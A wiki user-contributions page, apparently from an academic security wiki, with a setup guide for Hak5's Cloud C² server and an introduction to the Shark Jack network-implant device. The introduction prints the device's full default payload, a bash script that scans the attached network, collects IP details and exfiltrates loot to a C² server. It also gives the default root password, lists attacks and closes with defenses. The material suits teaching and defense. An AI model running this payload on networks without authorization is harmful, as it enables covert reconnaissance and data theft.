Elvis Wiki - User contributions [en]

Cloud C²

2024-12-16T17:17:43Z

AKoch: Creating a short installation guide for the cloud c² by hak5.

== Summary ==

Cloud C² is a software developed by Hak5 that gives us a remote connection with Hak5 products like [[Shark Jack]]. After this short installation guide, you will be able to connect your devices to your own Cloud C² instance.

== Requirements ==

* Operating system: a Server, like Ubuntu 24.04.1 LTS
* Packages: wget unzip
* If you want to access the software via the internet, you must have access to your firewall / modem / router to redirect a port!

== Installation Guide ==
First of all, you have to apply for a license-key under https://shop.hak5.org/products/c2#c2-versions - for study reasons you can apply for a free one.

=== Get Cloud C² ===
To install the Cloud C² it is only necessary to get the latest zip-folder by wget on your server and unzip it.

wget -q https://c2.hak5.org/download/latest -O cloudc2.zip
unzip cloudc2.zip

After that you will find all possible binary files for different operation systems.

https://wiki.elvis.science/images/9/92/GetCloudC2.png

=== Start Cloud C² ===

Now you can simple start the suitable binary for your operating system with additional parameters. Only the "hostname" is necessary.
By default the port 8080 is used. Mention that this is the port, that has to be redirected when you want to access the Cloud C² via the internet.
You can change that port by parsing the "listenport" parameter.
Please also note that your hostname should be resolvable by DNS when you using a name instead of an IP-Address.

For example:
./c2-3.4.0_amd64_linux -hostname myHostname -listenport 8000

More details about the possible parameters are visible at https://docs.hak5.org/cloud-c2/getting-started/installation-and-setup.

The output should look similar like this:

https://wiki.elvis.science/images/f/fa/StartUpCloudC2.png

=== Initialize Cloud C² ===
If you followed the above manual, you should be able to access the web interface from your Cloud C² instance on the web link - which can be found in the output of the starting binary.

The web interfaces should look like this:

https://wiki.elvis.science/images/thumb/7/76/InitSetupCloudC2.png/372px-InitSetupCloudC2.png

Insert your license key, fill out the form and you are ready to go.

== Conclusion ==
From now on, you are able to add all your Hak5 devices to your own Cloud C². For doing this, follow the guide under https://docs.hak5.org/cloud-c2/getting-started/adding-devices, because they are maybe specific for your device.
Note that according to these instructions, the cloud is not running as a service in the background. If you terminate the existing terminal connection, the cloud will also be terminated.

== References ==

* https://shop.hak5.org/products/c2#c2-versions
* https://docs.hak5.org/cloud-c2
* https://docs.hak5.org/cloud-c2/getting-started/adding-devices

[[Category:Documentation]]

File:InitSetupCloudC2.png

2024-12-16T17:02:34Z

AKoch:

File:GetCloudC2.png

2024-12-16T16:45:07Z

AKoch:

File:StartUpCloudC2.png

2024-12-16T16:30:42Z

AKoch:

Shark Jack: Introduction

2024-12-16T16:15:45Z

AKoch: overworked by Koch Armin for AKIT CSDC25BB

= Introduction =
The Shark Jack is a compact, Linux-based penetration testing device developed by Hak5, primarily designed for fast network reconnaissance and data exfiltration. Resembling a USB Ethernet adapter, it connects to a target network and runs payloads that can gather data, manipulate traffic, or exploit vulnerabilities. A lithium ion battery offers a running time of around 10-15 minutes. By default a predefined payload is installed. Seen in Example Payload.

=Key Features=

* Size: 62 x 21 x 12mm
* RJ45 Fast Ethernet
* USB-C charging port
* 2.5W (USB 5V 0.5A)
* Batterie 3.7V 50mAh 0.2W LiPo
* 35°C-45°C operating temperature
* MT7628DAN microcontroller
* 64 MB DDR RAM | 64 MB SPI Flash
* OpenWRT 18.06-based GNU/Linux operating system

= Modes of Operation =
The Shark Jack provides three modes of operation: Attack, Arming and Off. These modes can be activated by pushing the red toggle switch on the side.

== Attack-Mode ==
This mode can be activated by pushing the red toggle switch in the RJ45 Ethernet Jack direction. In this mode, the device starts the bash script payload.sh or payload.txt from /root/payload after a short boot phase.
The results from this script - which in turn can execute further scripts - usually stored in a suitable folder in the /root/loot directory.

== Arming-Mode ==
The ARMING-Mode is located in the middle position of the toggle switch. In this mode, the Shark Jack will start up an SSH-Server. After assigning an IP-Address in the 172.16.24.0/24 subnet to your device, you should be able to establish an SSH-Connection by root@172.16.24.1 (default password: hak5shark). Via the connection it is possible to change or update the payload-script in /root/payload and exfiltrate the collected loot from /root/loot directory by using "scp".

== Off-Mode ==
By toggling the switch in the USB-C charging port direction, the device will turn off.

= Payloads =
The payloads for the Shark Jack are written in Bash with some sort of DuckyScript. This means you can fully use the usual CLI commands from Linux, as well as use certain commands to manage the LED or the connection to the Cloud C² by Hak5 and transmit data.

== Example Payload ==
The following payload is the predefined payload which comes with the Shark Jack out of the Box. Essentially, the device gets an IP address from a hopefully existing DHCP server and starts an NMAP scan.
It then saves the collected data under /root/loot/nmap and tries to transmit it to a Cloud C² by Hak5 - which can be configured via device.config in /etc. Otherwise you are still able to extract the data manually by using the ARMING-Mode. Special commands like "LED ATTACK", "NETMODE DHCP_CLIENT" and "C2CONNECT" are the already mentioned DuckyScript commands. More about them can be found in the documentation from Hak5 itself.

#!/bin/bash
# LED SETUP ... Obtaining IP address from DHCP
# LED ATTACK ... Scanning
# LED FINISH ... Scan Complete
# LED SPECIAL ... Cloud C2 Exfiltration
#
# See nmap --help for options. Default "-sP" ping scans the address space for
# fast host discovery with "-v" for more verbose
C2PROVISION="/etc/device.config"
NMAP_OPTIONS="-sP -v --host-timeout 30s --max-retries 3"
LOOT_DIR=/root/loot/nmap
# Setup loot directory, DHCP client, and determine subnet
LED SETUP
SERIAL_WRITE [*] Setting up Nmap Payload
mkdir -p $LOOT_DIR
COUNT=$(($(ls -l $LOOT_DIR/*.txt | wc -l)+1))
NETMODE DHCP_CLIENT
while [ -z "$SUBNET" ]; do
sleep 1 && SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//')
done
# Scan network
LED ATTACK
nmap $NMAP_OPTIONS $SUBNET -oN $LOOT_DIR/nmap-scan_$COUNT.txt
SERIAL_WRITE [*] Setting up IP Payload
PUBLIC_IP_URL="http://ipinfo.io/ip"
function FAIL() { LED FAIL; SERIAL_WRITE [!] Failed to obtain IP address;exit; }
LED SETUP
# Make log file
LOG_FILE="ipinfo_$(find $LOOT_DIR -type f | wc -l).txt"
LOG="$LOOT_DIR/$LOG_FILE"
LED ATTACK
# Gather IP info and save log
INTERNALIP=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F: {'print $2'})
GATEWAY=$(route | grep default | awk {'print $2'})
PUBLICIP=$(wget --timeout=30 $PUBLIC_IP_URL -qO -) || FAIL
echo -e "Date: $(date)\n\
Internal IP Address: $INTERNALIP\n\
Public IP Address: $PUBLICIP\n\
Gateway: $GATEWAY\n" >> $LOG
SERIAL_WRITE [*] Internal IP: $INTERNALIP
SERIAL_WRITE [*] Public IP: $PUBLICIP
SERIAL_WRITE [*] Gateway: $GATEWAY
# Exfiltrate Loot to Cloud C2
if [ [ -f "$C2PROVISION" ] ]; then
LED SPECIAL
# Connect to Cloud C2
C2CONNECT
# Wait until Cloud C2 connection is established
while ! pgrep cc-client; do sleep 1; done
# Exfiltrate all test loot files
FILES="$LOOT_DIR/*.txt"
for f in $FILES; do C2EXFIL STRING $f Nmap-C2-Payload; done
else
# Exit script if not provisioned for C2
LED R SOLID
exit 1
fi
LED FINISH

= Possible Attacks =
After utilities such as Python, arping, nmap etc. are pre-installed on the Shark Jack and can be expanded via an OpenWRT repository, the following attacks are now possible:

* Network scanning and vulnerability assessment
* Man-in-the-Middle-Attacks (MITM)
* DNS-Spoofing
* Credential Harvesting
* Denial-of-Service Attacks (DoS)
* Unauthorized Access into a Network via a remote SSH-Tunnel connection.

= Defense =

* deactivation of unused ports: All unnecessary Ethernet ports on switches should be switched off.
* assigning a Dead VLAN to ports, which cannot be deactivated
* 802.1x-Authentification: Through port security mechanisms or 802.1x authentication can only authorized devices gain access to the network.
* MAC-Filtering and DHCP hardening: The DHCP server can be configured to only use registered MAC addresses receive an IP address. Alternatively, DHCP can be disabled, which however is more difficult to implement in larger networks.
* physical security / access control
* usage of an Instrusion Detection System (IDS)

== Used Hardware ==
[[Shark Jack]]

== References ==

https://docs.hak5.org/shark-jack

https://github.com/hak5/sharkjack-payloads

[[Category:Documentation]]